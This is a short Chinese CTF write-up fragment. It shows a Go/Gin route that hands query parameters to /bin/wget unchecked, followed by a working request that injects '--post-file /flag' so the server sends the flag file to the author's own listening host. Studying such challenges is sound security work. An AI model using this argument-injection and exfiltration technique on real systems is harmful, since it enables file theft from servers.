源码关键摘要:
路由级中间件 router请求路由
router.POST("/proxy", MiddleWare(), proxyController)
router.GET("/wget", getController)
router.POST("/login", loginController)
查看getController:
func getController(c *gin.Context) {
cmd := exec.Command("/bin/wget", c.QueryArray("argv")[1:]...)
err := cmd.Run()
if err != nil {
fmt.Println("error: ", err)
}
c.String(http.StatusOK, "Nothing")
}
命令执行wget结合argv参数的请求。argv为集合
/wget?argv=a 测试,回显nothing,有回显就好
vps监听个端口,--file-post=FILE:使用 POST 方式;发送 FILE 内容
/wget?argv=a&argv=--post-file&argv=/flag&argv=vps:port